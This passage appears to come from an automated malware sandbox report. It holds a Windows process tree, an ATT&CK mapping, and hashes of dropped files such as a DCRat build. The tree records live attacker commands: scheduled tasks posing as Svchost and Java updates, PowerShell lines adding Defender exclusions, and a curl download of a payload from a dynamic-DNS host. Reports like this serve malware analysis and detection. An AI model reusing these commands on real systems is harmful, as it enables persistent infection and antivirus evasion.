                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1052
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    "schtasks" /create /tn "Svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe" /rl HIGHEST /f
                                                    8⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:4644
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SY5IeXGOPmHA.bat" "
                                                    8⤵
                                                      PID:5772
                                                      • C:\Windows\system32\chcp.com
                                                        chcp 65001
                                                        9⤵
                                                          PID:5840
                                                        • C:\Windows\system32\PING.EXE
                                                          ping -n 10 localhost
                                                          9⤵
                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                          • Runs ping.exe
                                                          PID:1148
                                                        • C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe
                                                          "C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe"
                                                          9⤵
                                                            PID:924
                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                              "schtasks" /create /tn "Svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Svchost\Svchost.exe" /rl HIGHEST /f
                                                              10⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:3632
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8glZqDfjld9w.bat" "
                                                              10⤵
                                                                PID:4596
                                                                • C:\Windows\system32\chcp.com
                                                                  chcp 65001
                                                                  11⤵
                                                                    PID:3308
                                                                  • C:\Windows\system32\PING.EXE
                                                                    ping -n 10 localhost
                                                                    11⤵
                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                    • Runs ping.exe
                                                                    PID:5216
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\kiyan.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\kiyan.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      • Modifies system certificate store
                                                      PID:388
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\windowsexecutable.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\windowsexecutable.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5592
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5180
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\keepvid-pro_full2578.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\keepvid-pro_full2578.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      PID:884
                                                      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:4820
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\needmoney.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\needmoney.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2192
                                                      • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3928
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe"
                                                      4⤵
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      • Modifies registry class
                                                      PID:4636
                                                      • C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE
                                                        "C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4416
                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                          "schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f
                                                          6⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:928
                                                        • C:\Users\Admin\AppData\Roaming\Java\jusched.exe
                                                          "C:\Users\Admin\AppData\Roaming\Java\jusched.exe"
                                                          6⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:5344
                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                            "schtasks" /create /tn "Java Update Scheduler" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Java\jusched.exe" /rl HIGHEST /f
                                                            7⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:3156
                                                    • C:\Users\Admin\AppData\Local\Temp\Files\Pack_Autre_ncrypt.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Files\Pack_Autre_ncrypt.exe"
                                                      4⤵
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      PID:1660
                                                      • C:\Windows\system32\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3330.tmp\3331.tmp\3332.bat C:\Users\Admin\AppData\Local\Temp\Files\Pack_Autre_ncrypt.exe"
                                                        5⤵
                                                          PID:5672
                                                          • C:\Windows\system32\cacls.exe
                                                            "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
                                                            6⤵
                                                              PID:2292
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell.exe -command "Add-MpPreference -ExclusionExtension '.exe'"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1332
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell.exe -command "Add-MpPreference -ExclusionExtension '.bat'"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2192
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Victalis\Links'"
                                                              6⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              PID:3608
                                                            • C:\Windows\system32\timeout.exe
                                                              timeout /t 3
                                                              6⤵
                                                              • Delays execution with timeout.exe
                                                              PID:4644
                                                            • C:\Windows\system32\curl.exe
                                                              curl http://voltazur.ddns.net/Quas_Autre_ncrypt.exe
                                                              6⤵
                                                                PID:1912
                                                        • C:\ProgramData\Synaptics\Synaptics.exe
                                                          "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4780
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c C:\ProgramData\Synaptics\Synaptics.exe
                                                        2⤵
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:2228
                                                        • C:\ProgramData\Synaptics\Synaptics.exe
                                                          C:\ProgramData\Synaptics\Synaptics.exe
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4840
                                                      • C:\Windows\system32\taskmgr.exe
                                                        "C:\Windows\system32\taskmgr.exe" /4
                                                        2⤵
                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                        • Drops startup file
                                                        • Loads dropped DLL
                                                        • Checks SCSI registry key(s)
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of SendNotifyMessage
                                                        PID:4280
                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
                                                        2⤵
                                                          PID:852
                                                      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                        1⤵
                                                        • Checks processor information in registry
                                                        • Enumerates system info in registry
                                                        • Suspicious behavior: AddClipboardFormatListener
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:5212
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4404 -ip 4404
                                                        1⤵
                                                          PID:2608
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2364 -ip 2364
                                                          1⤵
                                                            PID:2496
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4692 -ip 4692
                                                            1⤵
                                                              PID:5840
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4692 -ip 4692
                                                              1⤵
                                                                PID:2284
                                                              • C:\Windows\system32\OpenWith.exe
                                                                C:\Windows\system32\OpenWith.exe -Embedding
                                                                1⤵
                                                                • Modifies registry class
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:5092
                                                              • C:\Windows\system32\werfault.exe
                                                                werfault.exe /h /shared Global\c8bb15260aa44a14a7a2c910030539df /t 3808 /p 1040
                                                                1⤵
                                                                  PID:4652
                                                                • C:\Windows\system32\LogonUI.exe
                                                                  "LogonUI.exe" /flags:0x4 /state0:0xa3953055 /state1:0x41c64e6d
                                                                  1⤵
                                                                    PID:852

                                                                  Network

                                                                        MITRE ATT&CK Enterprise v16

                                                                        Reconnaissance

                                                                        Resource Development

                                                                        Initial Access

                                                                        Execution

                                                                        Command and Scripting Interpreter

                                                                        1
                                                                        T1059

                                                                        PowerShell

                                                                        1
                                                                        T1059.001

                                                                        Scheduled Task/Job

                                                                        1
                                                                        T1053

                                                                        Scheduled Task

                                                                        1
                                                                        T1053.005

                                                                        Persistence

                                                                        Boot or Logon Autostart Execution

                                                                        1
                                                                        T1547

                                                                        Registry Run Keys / Startup Folder

                                                                        1
                                                                        T1547.001

                                                                        Create or Modify System Process

                                                                        1
                                                                        T1543

                                                                        Windows Service

                                                                        1
                                                                        T1543.003

                                                                        Event Triggered Execution

                                                                        1
                                                                        T1546

                                                                        Netsh Helper DLL

                                                                        1
                                                                        T1546.007

                                                                        Scheduled Task/Job

                                                                        1
                                                                        T1053

                                                                        Scheduled Task

                                                                        1
                                                                        T1053.005

                                                                        Privilege Escalation

                                                                        Boot or Logon Autostart Execution

                                                                        1
                                                                        T1547

                                                                        Registry Run Keys / Startup Folder

                                                                        1
                                                                        T1547.001

                                                                        Create or Modify System Process

                                                                        1
                                                                        T1543

                                                                        Windows Service

                                                                        1
                                                                        T1543.003

                                                                        Event Triggered Execution

                                                                        1
                                                                        T1546

                                                                        Netsh Helper DLL

                                                                        1
                                                                        T1546.007

                                                                        Scheduled Task/Job

                                                                        1
                                                                        T1053

                                                                        Scheduled Task

                                                                        1
                                                                        T1053.005

                                                                        Defense Evasion

                                                                        Impair Defenses

                                                                        1
                                                                        T1562

                                                                        Disable or Modify System Firewall

                                                                        1
                                                                        T1562.004

                                                                        Modify Registry

                                                                        3
                                                                        T1112

                                                                        Subvert Trust Controls

                                                                        1
                                                                        T1553

                                                                        Install Root Certificate

                                                                        1
                                                                        T1553.004

                                                                        Credential Access

                                                                        Credentials from Password Stores

                                                                        1
                                                                        T1555

                                                                        Credentials from Web Browsers

                                                                        1
                                                                        T1555.003

                                                                        Unsecured Credentials

                                                                        1
                                                                        T1552

                                                                        Credentials In Files

                                                                        1
                                                                        T1552.001

                                                                        Discovery

                                                                        Network Share Discovery

                                                                        1
                                                                        T1135

                                                                        Peripheral Device Discovery

                                                                        1
                                                                        T1120

                                                                        Process Discovery

                                                                        1
                                                                        T1057

                                                                        Query Registry

                                                                        5
                                                                        T1012

                                                                        Remote System Discovery

                                                                        1
                                                                        T1018

                                                                        System Information Discovery

                                                                        6
                                                                        T1082

                                                                        System Location Discovery

                                                                        1
                                                                        T1614

                                                                        System Language Discovery

                                                                        1
                                                                        T1614.001

                                                                        System Network Configuration Discovery

                                                                        1
                                                                        T1016

                                                                        Internet Connection Discovery

                                                                        1
                                                                        T1016.001

                                                                        Lateral Movement

                                                                        Collection

                                                                        Data from Local System

                                                                        1
                                                                        T1005

                                                                        Command and Control

                                                                        Web Service

                                                                        1
                                                                        T1102

                                                                        Exfiltration

                                                                        Impact

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        1BsDc3sv0Ug0mZu.vbe
                                                                        • Path C:\Hyperruntimeperf\1BsDc3sv0Ug0mZu.vbe
                                                                        • Size 202B
                                                                        • SHA256 89d58365ef6c2706f361712002535ade91f01be34d5fe2cfe18a4a48275949db
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Synaptics.exe
                                                                        • Path C:\ProgramData\Synaptics\Synaptics.exe
                                                                        • Size 753KB
                                                                        • SHA256 11f931102f640ea8406d95c2eebeadd1462fd205bc651dac57ac1bcac922e8f5
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        .aa2
                                                                        • Path C:\Users\Admin\AppData\Local\._kte_\.aa2
                                                                        • Size 5KB
                                                                        • SHA256 101c8fcff176c1c0ac78f2d4859a7e885e7fe308bc674206ef60aae5b6b627e7
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        .aa3
                                                                        • Path C:\Users\Admin\AppData\Local\._kte_\.aa3
                                                                        • Size 2KB
                                                                        • SHA256 925085a076f72127e3a314a12421843d5a89580f6586b456d3cf6393620910a3
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        .aa4
                                                                        • Path C:\Users\Admin\AppData\Local\._kte_\.aa4
                                                                        • Size 96B
                                                                        • SHA256 001a9bbd20a2c3201ef77c4a1b79fa3f5d7c9605cfe9e2fd3ad33a0e2ca11cdf
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        .aa4
                                                                        • Path C:\Users\Admin\AppData\Local\._kte_\.aa4
                                                                        • Size 240B
                                                                        • SHA256 bc75f348de7147945b45bb24f51db330d3b8d03f0bf6577ba7265314ceb9d2b5
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        .aa4
                                                                        • Path C:\Users\Admin\AppData\Local\._kte_\.aa4
                                                                        • Size 304B
                                                                        • SHA256 093b7f97ad0e7acbf28d64e3987cd9dd69bd991f4c06eb44c2bc57a8dffb387a
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        .aa4
                                                                        • Path C:\Users\Admin\AppData\Local\._kte_\.aa4
                                                                        • Size 288B
                                                                        • SHA256 95be3d5c2cf7081c05d4642cd953d9d41bc4642de7b6b8c1e5a22e87f51af0e4
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Client.exe.log
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Client.exe.log
                                                                        • Size 2KB
                                                                        • SHA256 c339149818fa8f9e5af4627715c3afe4f42bc1267df17d77a278d4c811ed8df1
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        ._cache_4363463463464363463463463.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\._cache_4363463463464363463463463.exe
                                                                        • Size 10KB
                                                                        • SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        8glZqDfjld9w.bat
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\8glZqDfjld9w.bat
                                                                        • Size 209B
                                                                        • SHA256 78bcb6ebf4aa156aa80fa1574f0a634781235f30a301cce8f13bfb6ab665633d
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Anytime
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Anytime
                                                                        • Size 14KB
                                                                        • SHA256 11ab93b51d9586708b9be1b503369579cd97f7c5870e6b48a1145abdcfcec502
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        Cbqjobosim-Signed.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\Cbqjobosim-Signed.exe
                                                                        • Size 6.3MB
                                                                        • SHA256 0303f9d6082240e16f0d503cf900f5f378a5cf906088a7c6312f58ad50472d8a
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        Client-built.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
                                                                        • Size 3.1MB
                                                                        • SHA256 b2de1e13497b1864e100fea605fa1136adc6f782b1dea5f6fe5f11656b098c0e
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        CondoGenerator.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\CondoGenerator.exe
                                                                        • Size 3.1MB
                                                                        • SHA256 e7fa9494811b479f00405027a8bad59dccaa410ac439bdd046ed2c440d0e101f
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        CrSpoofer.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\CrSpoofer.exe
                                                                        • Size 312KB
                                                                        • SHA256 561c94494c3cd0b918bdf5eb323682fad6596a0a54c4cdd85a99880b4028b3f8
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        CritScript.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\CritScript.exe
                                                                        • Size 3.2MB
                                                                        • SHA256 1b701daded4124260a49040d83dec15c627b8e4a1a04dc378aae7fecfca3abf3
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        DCRatBuild.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild.exe
                                                                        • Size 1.4MB
                                                                        • SHA256 34de8dd822d879b0b1e32d2fb7e1a08757a2803fa610ffe714b2951c7f1e74d8
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        Microsoft_Hardware_Launch.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\Microsoft_Hardware_Launch.exe
                                                                        • Size 93KB
                                                                        • SHA256 7ebeecbc8be6ef0639cdfc58a6e7adb22786de3268efbc71a84e2407abf30c0e
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        Pack_Autre_ncrypt.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\Pack_Autre_ncrypt.exe
                                                                        • Size 121KB
                                                                        • SHA256 06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        RedSystem.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\RedSystem.exe
                                                                        • Size 607KB
                                                                        • SHA256 ba8d4df86924743be143d569ac06b8a1b1d7e2c554720e7f31126a0db04c3daa
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        SQL.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\SQL.exe
                                                                        • Size 11.0MB
                                                                        • SHA256 b869941a9c476585bbb8f48f7003d158c71e44038ceb2628cedb231493847775
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        Test2.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\Test2.exe
                                                                        • Size 3.1MB
                                                                        • SHA256 864bec690da391f258de447606ac18baa79672b665ba321a4da67ed59d567cad
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        alex111111.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\alex111111.exe
                                                                        • Size 404KB
                                                                        • SHA256 4470809cd7fa85c0f027a97bf4c59800331d84c4fc08e88b790df3fbf55042ed
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        alex1212.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\alex1212.exe
                                                                        • Size 750KB
                                                                        • SHA256 018a244a4d21c11ca59e3805f5faeb0cc808c303a7213494ebc08ed93edbf779
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        coreplugin.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\coreplugin.exe
                                                                        • Size 1.1MB
                                                                        • SHA256 a221b40667002cd19eece4e45e5dbb6f3c3dc1890870cf28ebcca0e4850102f5
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        discord.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\discord.exe
                                                                        • Size 3.1MB
                                                                        • SHA256 e119fe767f3d10a387df1951d4b356384c5a9d0441b4034ddf7293c389a410b4
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        keepvid-pro_full2578.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\keepvid-pro_full2578.exe
                                                                        • Size 9.9MB
                                                                        • SHA256 9e86e4796a51e2cae9487ec086aa2159b65a037808e70a0e7dbaf5a946a8801e
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        kiyan.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\kiyan.exe
                                                                        • Size 304KB
                                                                        • SHA256 5adac427a6eff8b0c1674c6095e2719d5ee46945fd4e397384af02b8ec691045
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        latest.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\latest.exe
                                                                        • Size 19.8MB
                                                                        • SHA256 2d19936277494aab4bb49a7cdc923f786833f88f656c43d95960595d9e5be96d
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        needmoney.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\needmoney.exe
                                                                        • Size 4.1MB
                                                                        • SHA256 fd3edfaff77dd969e3e0d086495e4c742d00e111df9f935ed61dfba8392584b2
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        onetap.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\onetap.exe
                                                                        • Size 112KB
                                                                        • SHA256 21314041b5b17d156a68d246935ab476d3532a1c9c72a39b02d98a6b7ef59473
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        peinf.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
                                                                        • Size 20KB
                                                                        • SHA256 764b5037aa551fc0a9feb30b213e04605cba3babc5ec301d9cd4a50e88311618
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        q1wnx5ir.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\q1wnx5ir.exe
                                                                        • Size 325KB
                                                                        • SHA256 12938790f91b2612b7c6a1fd4aa16219a7d2469731e27d4bbd409ad438e64669
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        shell.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\shell.exe
                                                                        • Size 72KB
                                                                        • SHA256 f400dfc798338bf8c960fe04bafe60a3f95d4facd182ab08448b4918efe35262
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        windowsexecutable.exe
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Files\windowsexecutable.exe
                                                                        • Size 304KB
                                                                        • SHA256 07d4b7768e13d79ac5f05f81167b29bb6fbf97828a289d8d11eec38939846834
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        JUSCHED.EXE
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE
                                                                        • Size 3.1MB
                                                                        • SHA256 902bea9e4aeeed4e0b5d30a9cbcc6f9f1fc687b79c3fdde8258b94b410d1797a
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        SY5IeXGOPmHA.bat
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\SY5IeXGOPmHA.bat
                                                                        • Size 209B
                                                                        • SHA256 1082c51e5f2a929f64204c09918ccfabc25271ac35db666cecb4142f31945e0e
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Tmp1558.tmp
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Tmp1558.tmp
                                                                        • Size 2KB
                                                                        • SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        U9gol4TTcajZ.bat
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\U9gol4TTcajZ.bat
                                                                        • Size 207B
                                                                        • SHA256 29ba30591c22b781c2da3a1638a72c5ccb1a9fb1396f623901876a0a095bd7e8
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        ZOMBIES.AHK
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\ZOMBIES.AHK
                                                                        • Size 6KB
                                                                        • SHA256 2ba38af1ffa558f31af78ae94c3369d92366838d5cb1e5c01c58369bc92ac914
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        __PSScriptPolicyTest_npdtrxu1.34l.ps1
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npdtrxu1.34l.ps1
                                                                        • Size 60B
                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        g9WYwq94fzOt.bat
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\g9WYwq94fzOt.bat
                                                                        • Size 207B
                                                                        • SHA256 f0fcb2275c01752a4bc6014a0e9a8ad162fa6bb21278f2e55df27ff997956574
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        kE3VBlZ6fIom.bat
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\kE3VBlZ6fIom.bat
                                                                        • Size 209B
                                                                        • SHA256 d9dbb80a6f831cc4b46fda0386c1752f9a6b051206ad6bf1961fd78b923d9582
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        w6bJxV73cnu0.bat
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\w6bJxV73cnu0.bat
                                                                        • Size 207B
                                                                        • SHA256 4b3328ecfa455d9f336b5f0ad884ecb747a60d4940532a62a77bb55877285e09
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        xouEIybN.xlsm
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\xouEIybN.xlsm
                                                                        • Size 17KB
                                                                        • SHA256 8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        xouEIybN.xlsm
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\xouEIybN.xlsm
                                                                        • Size 21KB
                                                                        • SHA256 afbd5285e017c6c0becbcbb06bf57df3a36e5ea9459d8656d0b46bf99f425d20
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        zIijRkw2GnRe.bat
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\zIijRkw2GnRe.bat
                                                                        • Size 207B
                                                                        • SHA256 40e3f847282952df04539a1b556a3eeb522a54efa86300411aec7c954a1f12bf
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        76b53b3ec448f7ccdda2063b15d2bfc3_186cbcbd-8bcf-4731-a6d6-e6099a04f319
                                                                        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-73851796-4078923053-1419757224-1000\76b53b3ec448f7ccdda2063b15d2bfc3_186cbcbd-8bcf-4731-a6d6-e6099a04f319
                                                                        • Size 2KB
                                                                        • SHA256 628243f920cedb41cd69c1dc94f566dbcdcf6beb4b678e987309f022be197b90
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        overmelod.vbs
                                                                        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\overmelod.vbs
                                                                        • Size 87B
                                                                        • SHA256 0071633b33d06c9d46c7c9d9e412236f65c2fd6cefc3a970d72fa2a146544aed
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        settings.dat
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Crashpad\settings.dat
                                                                        • Size 280B
                                                                        • SHA256 bea66728a2a79d5ee252958c72e85b2dc11d7370723415030cee7eb9514ae8cd
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        settings.dat
